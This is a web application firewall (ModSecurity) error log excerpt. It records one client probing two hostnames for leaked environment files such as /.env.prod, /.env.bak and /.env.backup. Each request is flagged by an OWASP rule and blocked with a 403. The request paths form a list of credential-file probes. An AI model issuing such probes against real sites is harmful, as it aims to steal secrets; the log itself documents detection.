[Sat Oct 24 21:49:31.601555 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1gKzKiZtbKEGWJKoLWSAAAACE"]
[Sat Oct 24 21:49:31.601717 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1gKzKiZtbKEGWJKoLWSAAAACE"]
[Sat Oct 24 21:49:31.601975 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1gKzKiZtbKEGWJKoLWSAAAACE"]
[Sat Oct 24 21:49:31.618791 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1gKz8oejtZfsaip1YpCAAAABE"]
[Sat Oct 24 21:49:31.618942 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1gKz8oejtZfsaip1YpCAAAABE"]
[Sat Oct 24 21:49:31.619194 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1gKz8oejtZfsaip1YpCAAAABE"]
[Sat Oct 24 21:49:31.627171 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1gKzKiZtbKEGWJKoLWSQAAACE"]
[Sat Oct 24 21:49:31.627346 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1gKzKiZtbKEGWJKoLWSQAAACE"]
[Sat Oct 24 21:49:31.627586 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1gKzKiZtbKEGWJKoLWSQAAACE"]
[Sat Oct 24 21:49:31.642581 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1gKz8oejtZfsaip1YpCQAAABE"]
[Sat Oct 24 21:49:31.642710 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1gKz8oejtZfsaip1YpCQAAABE"]
[Sat Oct 24 21:49:31.642945 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1gKz8oejtZfsaip1YpCQAAABE"]
[Sat Oct 24 21:49:31.669332 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1gKzKiZtbKEGWJKoLWSgAAACE"]
[Sat Oct 24 21:49:31.669584 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1gKzKiZtbKEGWJKoLWSgAAACE"]
[Sat Oct 24 21:49:31.669932 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1gKzKiZtbKEGWJKoLWSgAAACE"]
[Sat Oct 24 21:49:31.698984 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1gKzKiZtbKEGWJKoLWSwAAACE"]
[Sat Oct 24 21:49:31.699264 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1gKzKiZtbKEGWJKoLWSwAAACE"]
[Sat Oct 24 21:49:31.699576 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1gKzKiZtbKEGWJKoLWSwAAACE"]
[Sat Oct 24 21:49:31.728661 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1gKzKiZtbKEGWJKoLWTAAAACE"]
[Sat Oct 24 21:49:31.728856 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1gKzKiZtbKEGWJKoLWTAAAACE"]
[Sat Oct 24 21:49:31.729136 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1gKzKiZtbKEGWJKoLWTAAAACE"]
[Sat Oct 24 21:49:31.738114 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1gKz8oejtZfsaip1YpCgAAABE"]
[Sat Oct 24 21:49:31.738274 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1gKz8oejtZfsaip1YpCgAAABE"]
[Sat Oct 24 21:49:31.738499 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1gKz8oejtZfsaip1YpCgAAABE"]
[Sat Oct 24 21:49:32.048836 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1gLDKiZtbKEGWJKoLWTQAAACE"]
[Sat Oct 24 21:49:32.049117 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1gLDKiZtbKEGWJKoLWTQAAACE"]
[Sat Oct 24 21:49:32.049566 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1gLDKiZtbKEGWJKoLWTQAAACE"]
[Sat Oct 24 21:49:32.078422 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1gLDKiZtbKEGWJKoLWTgAAACE"]
[Sat Oct 24 21:49:32.078633 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1gLDKiZtbKEGWJKoLWTgAAACE"]
[Sat Oct 24 21:49:32.078920 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1gLDKiZtbKEGWJKoLWTgAAACE"]
[Sat Oct 24 21:49:32.082759 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1gLD8oejtZfsaip1YpCwAAABE"]
[Sat Oct 24 21:49:32.082937 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1gLD8oejtZfsaip1YpCwAAABE"]
[Sat Oct 24 21:49:32.083221 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1gLD8oejtZfsaip1YpCwAAABE"]
[Sat Oct 24 21:49:32.169262 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1gLDKiZtbKEGWJKoLWTwAAACE"]
[Sat Oct 24 21:49:32.169459 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1gLDKiZtbKEGWJKoLWTwAAACE"]
[Sat Oct 24 21:49:32.169770 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1gLDKiZtbKEGWJKoLWTwAAACE"]
[Sat Oct 24 21:49:32.203377 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1gLD8oejtZfsaip1YpDAAAABE"]
[Sat Oct 24 21:49:32.203575 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1gLD8oejtZfsaip1YpDAAAABE"]
[Sat Oct 24 21:49:32.203870 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1gLD8oejtZfsaip1YpDAAAABE"]
